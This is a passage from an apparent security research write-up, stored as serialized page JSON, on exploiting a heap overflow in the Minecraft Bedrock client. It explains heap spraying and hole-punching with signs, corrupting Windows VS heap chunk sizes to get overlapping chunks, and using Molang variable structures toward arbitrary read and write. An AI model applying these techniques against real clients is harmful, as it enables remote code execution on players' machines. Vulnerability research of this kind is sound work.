",{"type":23,"tag":71,"props":162399,"children":162401},{"className":162400},[],[162402],{"type":29,"value":69331},{"type":29,"value":162404},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":23,"tag":32,"props":162406,"children":162407},{},[162408],{"type":23,"tag":15189,"props":162409,"children":162411},{"alt":61763,"src":162410},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":23,"tag":30016,"props":162413,"children":162414},{},[],{"type":23,"tag":32,"props":162416,"children":162417},{},[162418],{"type":29,"value":162419},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":23,"tag":32,"props":162421,"children":162422},{},[162423],{"type":29,"value":162424},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":23,"tag":923,"props":162426,"children":162428},{"id":162427},"overlapping-heap-chunks",[162429],{"type":29,"value":162430},"Overlapping Heap Chunks",{"type":23,"tag":32,"props":162432,"children":162433},{},[162434,162436,162441],{"type":29,"value":162435},"The attack is described in detail in the referenced blog post (",{"type":23,"tag":940,"props":162437,"children":162439},{"href":160244,"rel":162438},[944],[162440],{"type":29,"value":2244},{"type":29,"value":162442},"), so we will present a high-level overview.",{"type":23,"tag":32,"props":162444,"children":162445},{},[162446,162448,162454],{"type":29,"value":162447},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":23,"tag":71,"props":162449,"children":162451},{"className":162450},[],[162452],{"type":29,"value":162453},"_HEAP_VS_CHUNK_HEADER",{"type":29,"value":162455}," structure layout is required:",{"type":23,"tag":64,"props":162457,"children":162459},{"code":162458},"     +---------------------------+           +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost     |\n     +---------------------------+           +---------------+\n+0x8 |EncodedSegmentPageOffset   |      +0x2 |UnsafeSize     |\n     +---------------------------+           +---------------+\n+0x8 |UnusedBytes                |      +0x4 |UnsafePrevSize |\n     +---------------------------+           +---------------+\n     |           . . .           |      +0x6 |Allocated      |\n                                             +---------------+\n                                             |     . . .     |\n",[162460],{"type":23,"tag":71,"props":162461,"children":162462},{"__ignoreMap":7},[162463],{"type":29,"value":162458},{"type":23,"tag":32,"props":162465,"children":162466},{},[162467,162469,162475,162477,162483,162484,162490,162491,162497,162499,162504,162506,162511,162513,162519,162521,162526,162528,162534],{"type":29,"value":162468},"At offset 0 there is a header ",{"type":23,"tag":71,"props":162470,"children":162472},{"className":162471},[],[162473],{"type":29,"value":162474},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":29,"value":162476}," containing fields such as ",{"type":23,"tag":71,"props":162478,"children":162480},{"className":162479},[],[162481],{"type":29,"value":162482},"MemoryCost",{"type":29,"value":611},{"type":23,"tag":71,"props":162485,"children":162487},{"className":162486},[],[162488],{"type":29,"value":162489},"UnsafeSize",{"type":29,"value":611},{"type":23,"tag":71,"props":162492,"children":162494},{"className":162493},[],[162495],{"type":29,"value":162496},"UnsafePrevSize",{"type":29,"value":162498},", etc. For the attack we only care about the ",{"type":23,"tag":71,"props":162500,"children":162502},{"className":162501},[],[162503],{"type":29,"value":162489},{"type":29,"value":162505}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":23,"tag":71,"props":162507,"children":162509},{"className":162508},[],[162510],{"type":29,"value":136772},{"type":29,"value":162512},", so for a chunk of size ",{"type":23,"tag":71,"props":162514,"children":162516},{"className":162515},[],[162517],{"type":29,"value":162518},"0x4010",{"type":29,"value":162520}," the value of ",{"type":23,"tag":71,"props":162522,"children":162524},{"className":162523},[],[162525],{"type":29,"value":162489},{"type":29,"value":162527}," would be ",{"type":23,"tag":71,"props":162529,"children":162531},{"className":162530},[],[162532],{"type":29,"value":162533},"0x401",{"type":29,"value":557},{"type":23,"tag":32,"props":162536,"children":162537},{},[162538,162539,162544],{"type":29,"value":75395},{"type":23,"tag":71,"props":162540,"children":162542},{"className":162541},[],[162543],{"type":29,"value":162489},{"type":29,"value":162545}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":23,"tag":32,"props":162547,"children":162548},{},[162549,162551,162556,162558,162563,162565,162571,162573,162578],{"type":29,"value":162550},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":23,"tag":71,"props":162552,"children":162554},{"className":162553},[],[162555],{"type":29,"value":162489},{"type":29,"value":162557}," in the smallest possible VS chunk (",{"type":23,"tag":71,"props":162559,"children":162561},{"className":162560},[],[162562],{"type":29,"value":162518},{"type":29,"value":162564},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":23,"tag":71,"props":162566,"children":162568},{"className":162567},[],[162569],{"type":29,"value":162570},"[0x10, 0xffff0]",{"type":29,"value":162572}," range, the probability that it exceeds ",{"type":23,"tag":71,"props":162574,"children":162576},{"className":162575},[],[162577],{"type":29,"value":162518},{"type":29,"value":162579}," is:",{"type":23,"tag":64,"props":162581,"children":162583},{"code":162582},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[162584],{"type":23,"tag":71,"props":162585,"children":162586},{"__ignoreMap":7},[162587],{"type":29,"value":162582},{"type":23,"tag":32,"props":162589,"children":162590},{},[162591],{"type":29,"value":162592},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":23,"tag":32,"props":162594,"children":162595},{},[162596],{"type":29,"value":162597},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":23,"tag":30116,"props":162599,"children":162601},{"id":162600},"overlap-attack-overview",[162602],{"type":29,"value":162603},"Overlap Attack Overview",{"type":23,"tag":32,"props":162605,"children":162606},{},[162607,162609,162614],{"type":29,"value":162608},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":23,"tag":71,"props":162610,"children":162612},{"className":162611},[],[162613],{"type":29,"value":136795},{"type":29,"value":162615}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":23,"tag":32,"props":162617,"children":162618},{},[162619,162621,162626,162628,162633],{"type":29,"value":162620},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":23,"tag":71,"props":162622,"children":162624},{"className":162623},[],[162625],{"type":29,"value":158503},{"type":29,"value":162627},"-sized chunks in the free list that we want to avoid. If a ",{"type":23,"tag":71,"props":162629,"children":162631},{"className":162630},[],[162632],{"type":29,"value":158503},{"type":29,"value":162634},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":23,"tag":32,"props":162636,"children":162637},{},[162638,162640,162645],{"type":29,"value":162639},"To remove those ",{"type":23,"tag":71,"props":162641,"children":162643},{"className":162642},[],[162644],{"type":29,"value":158503},{"type":29,"value":162646},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":23,"tag":32,"props":162648,"children":162649},{},[162650],{"type":29,"value":162651},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":23,"tag":64,"props":162653,"children":162655},{"code":162654},"+--------+--------+--------+--------+--------+\n|        |        |        |        |        |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n|        |        |        |        |        |\n+--------+--------+--------+--------+--------+\n",[162656],{"type":23,"tag":71,"props":162657,"children":162658},{"__ignoreMap":7},[162659],{"type":29,"value":162654},{"type":23,"tag":32,"props":162661,"children":162662},{},[162663,162665,162670,162672,162677],{"type":29,"value":162664},"Next we create ",{"type":23,"tag":9690,"props":162666,"children":162667},{},[162668],{"type":29,"value":162669},"holes",{"type":29,"value":162671}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":23,"tag":71,"props":162673,"children":162675},{"className":162674},[],[162676],{"type":29,"value":158503},{"type":29,"value":162678},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":23,"tag":64,"props":162680,"children":162682},{"code":162681},"            Free              Free            \n+--------+--------+--------+--------+--------+\n|        |........|        |........|        |\n| Sign A |........| Sign C |........| Sign F |\n|        |........|        |........|        |\n+--------+--------+--------+--------+--------+\n",[162683],{"type":23,"tag":71,"props":162684,"children":162685},{"__ignoreMap":7},[162686],{"type":29,"value":162681},{"type":23,"tag":32,"props":162688,"children":162689},{},[162690,162692,162697,162699,162704],{"type":29,"value":162691},"When a ",{"type":23,"tag":71,"props":162693,"children":162695},{"className":162694},[],[162696],{"type":29,"value":158503},{"type":29,"value":162698}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":23,"tag":71,"props":162700,"children":162702},{"className":162701},[],[162703],{"type":29,"value":162489},{"type":29,"value":162705}," field will be overwritten:",{"type":23,"tag":64,"props":162707,"children":162709},{"code":162708},"                           +--------+         \n            Free           |        |         \n+--------+--------+--------+ g->out +--------+\n|        |........|        |        |        |\n| Sign A |........| Sign C +--------+ Sign F |\n|        |........|        |        |        |\n+--------+--------+--------+        +--------+\n",[162710],{"type":23,"tag":71,"props":162711,"children":162712},{"__ignoreMap":7},[162713],{"type":29,"value":162708},{"type":23,"tag":32,"props":162715,"children":162716},{},[162717,162719,162724,162726,162731,162733,162738],{"type":29,"value":162718},"Once ",{"type":23,"tag":71,"props":162720,"children":162722},{"className":162721},[],[162723],{"type":29,"value":162489},{"type":29,"value":162725}," has been overwritten, ",{"type":23,"tag":71,"props":162727,"children":162729},{"className":162728},[],[162730],{"type":29,"value":158503},{"type":29,"value":162732}," allocation is freed immediately after, restoring the previous layout but with ",{"type":23,"tag":71,"props":162734,"children":162736},{"className":162735},[],[162737],{"type":29,"value":162489},{"type":29,"value":162739}," field corrupted:",{"type":23,"tag":64,"props":162741,"children":162743},{"code":162742},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n            Free              Free      |           \n+--------+--------+--------+--------+---+----+      \n|        |........|        |........|        |      \n| Sign A |........| Sign C |........| Sign F |      \n|        |........|        |........|        |      \n+--------+--------+--------+--------+--------+      \n",[162744],{"type":23,"tag":71,"props":162745,"children":162746},{"__ignoreMap":7},[162747],{"type":29,"value":162742},{"type":23,"tag":32,"props":162749,"children":162750},{},[162751],{"type":29,"value":162752},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":23,"tag":64,"props":162754,"children":162756},{"code":162755},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n                                        |           \n+--------+--------+--------+--------+---+----+      \n|        |        |        |        |        |      \n| Sign A | Sign B | Sign C | Sign D | Sign F |      \n|        |        |        |        |        |      \n+--------+--------+--------+--------+--------+      \n",[162757],{"type":23,"tag":71,"props":162758,"children":162759},{"__ignoreMap":7},[162760],{"type":29,"value":162755},{"type":23,"tag":32,"props":162762,"children":162763},{},[162764],{"type":29,"value":162765},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":23,"tag":64,"props":162767,"children":162769},{"code":162768},"                                       Freed Overwritten   \n                                               |           \n                                    +----------+----------+\n                                    |                     |\n   Free              Free           v                     v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........|        |........|        |........|             \n|........| Sign B |........| Sign D |........| Other chunks\n|........|        |........|        |........|             \n+--------+--------+--------+--------+--------+- - - - - - -\n",[162770],{"type":23,"tag":71,"props":162771,"children":162772},{"__ignoreMap":7},[162773],{"type":29,"value":162768},{"type":23,"tag":30016,"props":162775,"children":162776},{},[],{"type":23,"tag":32,"props":162778,"children":162779},{},[162780],{"type":29,"value":162781},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":23,"tag":32,"props":162783,"children":162784},{},[162785],{"type":29,"value":162786},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":23,"tag":923,"props":162788,"children":162790},{"id":162789},"molang",[162791],{"type":29,"value":162792},"Molang",{"type":23,"tag":32,"props":162794,"children":162795},{},[162796,162798,162805],{"type":29,"value":162797},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":23,"tag":940,"props":162799,"children":162802},{"href":162800,"rel":162801},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[944],[162803],{"type":29,"value":162804},"syntax guide",{"type":29,"value":557},{"type":23,"tag":32,"props":162807,"children":162808},{},[162809,162811,162816,162817,162822],{"type":29,"value":162810},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":23,"tag":71,"props":162812,"children":162814},{"className":162813},[],[162815],{"type":29,"value":2469},{"type":29,"value":2721},{"type":23,"tag":71,"props":162818,"children":162820},{"className":162819},[],[162821],{"type":29,"value":26916},{"type":29,"value":162823}," operators are supported.",{"type":23,"tag":32,"props":162825,"children":162826},{},[162827,162829,162835,162837,162842,162844,162849,162850,162855,162856],{"type":29,"value":162828},"Variables are defined by prepending ",{"type":23,"tag":71,"props":162830,"children":162832},{"className":162831},[],[162833],{"type":29,"value":162834},"variable.",{"type":29,"value":162836}," to the name and assigning a value. For example, to define ",{"type":23,"tag":71,"props":162838,"children":162840},{"className":162839},[],[162841],{"type":29,"value":1342},{"type":29,"value":162843}," as the sum of ",{"type":23,"tag":71,"props":162845,"children":162847},{"className":162846},[],[162848],{"type":29,"value":940},{"type":29,"value":2721},{"type":23,"tag":71,"props":162851,"children":162853},{"className":162852},[],[162854],{"type":29,"value":14507},{"type":29,"value":863},{"type":23,"tag":71,"props":162857,"children":162859},{"className":162858},[],[162860],{"type":29,"value":162861},"variable.result = variable.a + variable.b;",{"type":23,"tag":32,"props":162863,"children":162864},{},[162865,162867,162872,162873,162878,162879,162884,162885,162890],{"type":29,"value":162866},"Logical operators such as ",{"type":23,"tag":71,"props":162868,"children":162870},{"className":162869},[],[162871],{"type":29,"value":33633},{"type":29,"value":611},{"type":23,"tag":71,"props":162874,"children":162876},{"className":162875},[],[162877],{"type":29,"value":84367},{"type":29,"value":611},{"type":23,"tag":71,"props":162880,"children":162882},{"className":162881},[],[162883],{"type":29,"value":295},{"type":29,"value":611},{"type":23,"tag":71,"props":162886,"children":162888},{"className":162887},[],[162889],{"type":29,"value":4652},{"type":29,"value":162891},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":23,"tag":64,"props":162893,"children":162895},{"code":162894},"(variable.result == 3) ? {\n    return 1;\n} : {\n    return 0;\n}\n",[162896],{"type":23,"tag":71,"props":162897,"children":162898},{"__ignoreMap":7},[162899],{"type":29,"value":162894},{"type":23,"tag":32,"props":162901,"children":162902},{},[162903],{"type":29,"value":162904},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":23,"tag":30116,"props":162906,"children":162908},{"id":162907},"molang-internals",[162909],{"type":29,"value":162910},"Molang Internals",{"type":23,"tag":32,"props":162912,"children":162913},{},[162914],{"type":29,"value":162915},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":23,"tag":32,"props":162917,"children":162918},{},[162919],{"type":29,"value":162920},"Below we describe the structures involved and their memory layout.",{"type":23,"tag":30116,"props":162922,"children":162924},{"id":162923},"molangvariable-and-molangscriptarg",[162925],{"type":29,"value":162926},"MolangVariable and MolangScriptArg",{"type":23,"tag":32,"props":162928,"children":162929},{},[162930,162931,162937],{"type":29,"value":112686},{"type":23,"tag":71,"props":162932,"children":162934},{"className":162933},[],[162935],{"type":29,"value":162936},"MolangVariable",{"type":29,"value":162938}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":23,"tag":64,"props":162940,"children":162942},{"code":162941,"language":14432,"meta":7,"className":27738,"style":7},"struct MolangVariable {\n    \n    struct HashedString {\n        uint64_t variable_name_hash;\n        std::string variable_name;\n    };\n    \n    struct MolangScriptArg {\n        uint32_t value_type;\n        uint64_t value;\n        std::vector\u003Cstruct MolangScriptArg> struct_fields;\n        \n        [...]\n    };\n};\n",[162943],{"type":23,"tag":71,"props":162944,"children":162945},{"__ignoreMap":7},[162946,162958,162965,162977,162990,162998,163005,163012,163024,163037,163049,163079,163087,163094,163101],{"type":23,"tag":75,"props":162947,"children":162948},{"class":77,"line":78},[162949,162953],{"type":23,"tag":75,"props":162950,"children":162951},{"style":82},[162952],{"type":29,"value":20652},{"type":23,"tag":75,"props":162954,"children":162955},{"style":94},[162956],{"type":29,"value":162957}," MolangVariable {\n",{"type":23,"tag":75,"props":162959,"children":162960},{"class":77,"line":100},[162961],{"type":23,"tag":75,"props":162962,"children":162963},{"style":94},[162964],{"type":29,"value":72965},{"type":23,"tag":75,"props":162966,"children":162967},{"class":77,"line":121},[162968,162972],{"type":23,"tag":75,"props":162969,"children":162970},{"style":82},[162971],{"type":29,"value":17320},{"type":23,"tag":75,"props":162973,"children":162974},{"style":94},[162975],{"type":29,"value":162976}," HashedString {\n",{"type":23,"tag":75,"props":162978,"children":162979},{"class":77,"line":138},[162980,162985],{"type":23,"tag":75,"props":162981,"children":162982},{"style":82},[162983],{"type":29,"value":162984},"        uint64_t",{"type":23,"tag":75,"props":162986,"children":162987},{"style":94},[162988],{"type":29,"value":162989}," variable_name_hash;\n",{"type":23,"tag":75,"props":162991,"children":162992},{"class":77,"line":161},[162993],{"type":23,"tag":75,"props":162994,"children":162995},{"style":94},[162996],{"type":29,"value":162997},"        std::string variable_name;\n",{"type":23,"tag":75,"props":162999,"children":163000},{"class":77,"line":196},[163001],{"type":23,"tag":75,"props":163002,"children":163003},{"style":94},[163004],{"type":29,"value":50188},{"type":23,"tag":75,"props":163006,"children":163007},{"class":77,"line":220},[163008],{"type":23,"tag":75,"props":163009,"children":163010},{"style":94},[163011],{"type":29,"value":72965},{"type":23,"tag":75,"props":163013,"children":163014},{"class":77,"line":248},[163015,163019],{"type":23,"tag":75,"props":163016,"children":163017},{"style":82},[163018],{"type":29,"value":17320},{"type":23,"tag":75,"props":163020,"children":163021},{"style":94},[163022],{"type":29,"value":163023}," MolangScriptArg {\n",{"type":23,"tag":75,"props":163025,"children":163026},{"class":77,"line":270},[163027,163032],{"type":23,"tag":75,"props":163028,"children":163029},{"style":82},[163030],{"type":29,"value":163031},"        uint32_t",{"type":23,"tag":75,"props":163033,"children":163034},{"style":94},[163035],{"type":29,"value":163036}," value_type;\n",{"type":23,"tag":75,"props":163038,"children":163039},{"class":77,"line":279},[163040,163044],{"type":23,"tag":75,"props":163041,"children":163042},{"style":82},[163043],{"type":29,"value":162984},{"type":23,"tag":75,"props":163045,"children":163046},{"style":94},[163047],{"type":29,"value":163048}," value;\n",{"type":23,"tag":75,"props":163050,"children":163051},{"class":77,"line":303},[163052,163057,163061,163065,163070,163074],{"type":23,"tag":75,"props":163053,"children":163054},{"style":94},[163055],{"type":29,"value":163056},"        std::vector",{"type":23,"tag":75,"props":163058,"children":163059},{"style":209},[163060],{"type":29,"value":295},{"type":23,"tag":75,"props":163062,"children":163063},{"style":82},[163064],{"type":29,"value":20652},{"type":23,"tag":75,"props":163066,"children":163067},{"style":94},[163068],{"type":29,"value":163069}," MolangScriptArg",{"type":23,"tag":75,"props":163071,"children":163072},{"style":209},[163073],{"type":29,"value":4652},{"type":23,"tag":75,"props":163075,"children":163076},{"style":94},[163077],{"type":29,"value":163078}," struct_fields;\n",{"type":23,"tag":75,"props":163080,"children":163081},{"class":77,"line":322},[163082],{"type":23,"tag":75,"props":163083,"children":163084},{"style":94},[163085],{"type":29,"value":163086},"        \n",{"type":23,"tag":75,"props":163088,"children":163089},{"class":77,"line":340},[163090],{"type":23,"tag":75,"props":163091,"children":163092},{"style":94},[163093],{"type":29,"value":134374},{"type":23,"tag":75,"props":163095,"children":163096},{"class":77,"line":349},[163097],{"type":23,"tag":75,"props":163098,"children":163099},{"style":94},[163100],{"type":29,"value":50188},{"type":23,"tag":75,"props":163102,"children":163103},{"class":77,"line":363},[163104],{"type":23,"tag":75,"props":163105,"children":163106},{"style":94},[163107],{"type":29,"value":27801},{"type":23,"tag":32,"props":163109,"children":163110},{},[163111,163113,163118],{"type":29,"value":163112},"In memory a ",{"type":23,"tag":71,"props":163114,"children":163116},{"className":163115},[],[163117],{"type":29,"value":162936},{"type":29,"value":163119}," instance resembles:",{"type":23,"tag":64,"props":163121,"children":163123},{"code":163122},"      +---------------+---------------+\n+0x00 |  FNV-1 hash   |std::string.buf|\n      +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n      +---------------+---------------+\n+0x20 |std::string.cap|   Unknown     |\n      +-------+-------+---------------+\n+0x30 | Type  |Unused |Variable value |\n      +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n      +---------------+---------------+\n+0x50 |std::vector.cap|   Unknown     |\n      +---------------+---------------+\n      |     . . .     |     . . .     |\n",[163124],{"type":23,"tag":71,"props":163125,"children":163126},{"__ignoreMap":7},[163127],{"type":29,"value":163122},{"type":23,"tag":32,"props":163129,"children":163130},{},[163131],{"type":29,"value":163132},"For reference, example debugger view of the layout:",{"type":23,"tag":32,"props":163134,"children":163135},{},[163136],{"type":23,"tag":15189,"props":163137,"children":163139},{"alt":61763,"src":163138},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":23,"tag":32,"props":163141,"children":163142},{},[163143],{"type":29,"value":163144},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":23,"tag":32,"props":163146,"children":163147},{},[163148,163150,163156,163158,163163,163165,163171,163173,163178,163179,163184,163186,163191,163192,163198,163199,163205],{"type":29,"value":163149},"We only care about the ",{"type":23,"tag":71,"props":163151,"children":163153},{"className":163152},[],[163154],{"type":29,"value":163155},"MolangScriptArg",{"type":29,"value":163157}," beginning at offset ",{"type":23,"tag":71,"props":163159,"children":163161},{"className":163160},[],[163162],{"type":29,"value":139253},{"type":29,"value":163164}," because it contains variable values. In the screenshot above, the ",{"type":23,"tag":71,"props":163166,"children":163168},{"className":163167},[],[163169],{"type":29,"value":163170},"value_type",{"type":29,"value":163172}," at ",{"type":23,"tag":71,"props":163174,"children":163176},{"className":163175},[],[163177],{"type":29,"value":139253},{"type":29,"value":16773},{"type":23,"tag":71,"props":163180,"children":163182},{"className":163181},[],[163183],{"type":29,"value":648},{"type":29,"value":163185}," (meaning float), and the ",{"type":23,"tag":71,"props":163187,"children":163189},{"className":163188},[],[163190],{"type":29,"value":1672},{"type":29,"value":163172},{"type":23,"tag":71,"props":163193,"children":163195},{"className":163194},[],[163196],{"type":29,"value":163197},"0x38",{"type":29,"value":16773},{"type":23,"tag":71,"props":163200,"children":163202},{"className":163201},[],[163203],{"type":29,"value":163204},"0xbf2070c8",{"type":29,"value":557},{"type":23,"tag":32,"props":163207,"children":163208},{},[163209,163211,163217,163219,163224,163226,163231,163232,163237,163239,163244,163246,163251],{"type":29,"value":163210},"During assignment, such as ",{"type":23,"tag":71,"props":163212,"children":163214},{"className":163213},[],[163215],{"type":29,"value":163216},"variable.a = variable.b",{"type":29,"value":163218},", each field of ",{"type":23,"tag":71,"props":163220,"children":163222},{"className":163221},[],[163223],{"type":29,"value":163155},{"type":29,"value":163225}," is copied from variable ",{"type":23,"tag":71,"props":163227,"children":163229},{"className":163228},[],[163230],{"type":29,"value":14507},{"type":29,"value":67960},{"type":23,"tag":71,"props":163233,"children":163235},{"className":163234},[],[163236],{"type":29,"value":940},{"type":29,"value":163238},". Interestingly, the ",{"type":23,"tag":71,"props":163240,"children":163242},{"className":163241},[],[163243],{"type":29,"value":1672},{"type":29,"value":163245}," field is always copied as a ",{"type":23,"tag":71,"props":163247,"children":163249},{"className":163248},[],[163250],{"type":29,"value":66818},{"type":29,"value":163252}," even if the type is a 32-bit float.",{"type":23,"tag":32,"props":163254,"children":163255},{},[163256,163258,163264],{"type":29,"value":163257},"Each entity stores its variables in a per-entity vector called ",{"type":23,"tag":71,"props":163259,"children":163261},{"className":163260},[],[163262],{"type":29,"value":163263},"MolangVariableMap",{"type":29,"value":557},{"type":23,"tag":30116,"props":163266,"children":163268},{"id":163267},"molangvariablemap",[163269],{"type":29,"value":163263},{"type":23,"tag":32,"props":163271,"children":163272},{},[163273,163278,163280,163286,163288,163294],{"type":23,"tag":71,"props":163274,"children":163276},{"className":163275},[],[163277],{"type":29,"value":163263},{"type":29,"value":163279}," is simply a ",{"type":23,"tag":71,"props":163281,"children":163283},{"className":163282},[],[163284],{"type":29,"value":163285},"std::vector\u003CMolangVariable *>",{"type":29,"value":163287}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":23,"tag":71,"props":163289,"children":163291},{"className":163290},[],[163292],{"type":29,"value":163293},"std::vector",{"type":29,"value":163295}," layout:",{"type":23,"tag":64,"props":163297,"children":163299},{"code":163298,"language":14432,"meta":7,"className":27738,"style":7},"struct vector {\n    void *buf;\n    void *len;\n    void *cap;\n};\n",[163300],{"type":23,"tag":71,"props":163301,"children":163302},{"__ignoreMap":7},[163303,163315,163331,163347,163363],{"type":23,"tag":75,"props":163304,"children":163305},{"class":77,"line":78},[163306,163310],{"type":23,"tag":75,"props":163307,"children":163308},{"style":82},[163309],{"type":29,"value":20652},{"type":23,"tag":75,"props":163311,"children":163312},{"style":94},[163313],{"type":29,"value":163314}," vector {\n",{"type":23,"tag":75,"props":163316,"children":163317},{"class":77,"line":100},[163318,163322,163326],{"type":23,"tag":75,"props":163319,"children":163320},{"style":82},[163321],{"type":29,"value":27771},{"type":23,"tag":75,"props":163323,"children":163324},{"style":209},[163325],{"type":29,"value":579},{"type":23,"tag":75,"props":163327,"children":163328},{"style":94},[163329],{"type":29,"value":163330},"buf;\n",{"type":23,"tag":75,"props":163332,"children":163333},{"class":77,"line":121},[163334,163338,163342],{"type":23,"tag":75,"props":163335,"children":163336},{"style":82},[163337],{"type":29,"value":27771},{"type":23,"tag":75,"props":163339,"children":163340},{"style":209},[163341],{"type":29,"value":579},{"type":23,"tag":75,"props":163343,"children":163344},{"style":94},[163345],{"type":29,"value":163346},"len;\n",{"type":23,"tag":75,"props":163348,"children":163349},{"class":77,"line":138},[163350,163354,163358],{"type":23,"tag":75,"props":163351,"children":163352},{"style":82},[163353],{"type":29,"value":27771},{"type":23,"tag":75,"props":163355,"children":163356},{"style":209},[163357],{"type":29,"value":579},{"type":23,"tag":75,"props":163359,"children":163360},{"style":94},[163361],{"type":29,"value":163362},"cap;\n",{"type":23,"tag":75,"props":163364,"children":163365},{"class":77,"line":161},[163366],{"type":23,"tag":75,"props":163367,"children":163368},{"style":94},[163369],{"type":29,"value":27801},{"type":23,"tag":32,"props":163371,"children":163372},{},[163373,163378,163380,163385,163387,163393,163395,163400,163401,163406],{"type":23,"tag":71,"props":163374,"children":163376},{"className":163375},[],[163377],{"type":29,"value":160459},{"type":29,"value":163379}," points to the allocated array of elements, ",{"type":23,"tag":71,"props":163381,"children":163383},{"className":163382},[],[163384],{"type":29,"value":679},{"type":29,"value":163386}," points just past the last used element, and ",{"type":23,"tag":71,"props":163388,"children":163390},{"className":163389},[],[163391],{"type":29,"value":163392},"cap",{"type":29,"value":163394}," points to the end of the allocated buffer. Notably, the types of ",{"type":23,"tag":71,"props":163396,"children":163398},{"className":163397},[],[163399],{"type":29,"value":679},{"type":29,"value":2721},{"type":23,"tag":71,"props":163402,"children":163404},{"className":163403},[],[163405],{"type":29,"value":163392},{"type":29,"value":163407}," aren't typical integer types for sizes, but both are pointers.",{"type":23,"tag":32,"props":163409,"children":163410},{},[163411],{"type":29,"value":163412},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":23,"tag":64,"props":163414,"children":163416},{"code":163415},"+---------+         +--------------------+\n|   buf   +-------> | MolangVariable A*  |\n+---------+         +--------------------+\n|   len   +----+    | MolangVariable B*  |\n+---------+    |    +--------------------+\n|   cap   |    |    | MolangVariable C*  |\n+----+----+    |    +--------------------+\n     |         +--> | Empty element slot |\n     |              +--------------------+\n     |                                   ^\n     +-----------------------------------+\n",[163417],{"type":23,"tag":71,"props":163418,"children":163419},{"__ignoreMap":7},[163420],{"type":29,"value":163415},{"type":23,"tag":32,"props":163422,"children":163423},{},[163424,163426,163432,163434,163440],{"type":29,"value":163425},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":23,"tag":71,"props":163427,"children":163429},{"className":163428},[],[163430],{"type":29,"value":163431},"variable.result",{"type":29,"value":163433},") may differ between entities. To get around this, ",{"type":23,"tag":71,"props":163435,"children":163437},{"className":163436},[],[163438],{"type":29,"value":163439},"MolangIndexMap",{"type":29,"value":163441}," is used to map a global variable name to the correct per-entity slot.",{"type":23,"tag":30116,"props":163443,"children":163445},{"id":163444},"molangindexmap",[163446],{"type":29,"value":163439},{"type":23,"tag":32,"props":163448,"children":163449},{},[163450,163455,163457,163463,163465,163471],{"type":23,"tag":71,"props":163451,"children":163453},{"className":163452},[],[163454],{"type":29,"value":163439},{"type":29,"value":163456}," is a per-entity ",{"type":23,"tag":71,"props":163458,"children":163460},{"className":163459},[],[163461],{"type":29,"value":163462},"std::vector\u003Cuint16_t>",{"type":29,"value":163464},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like 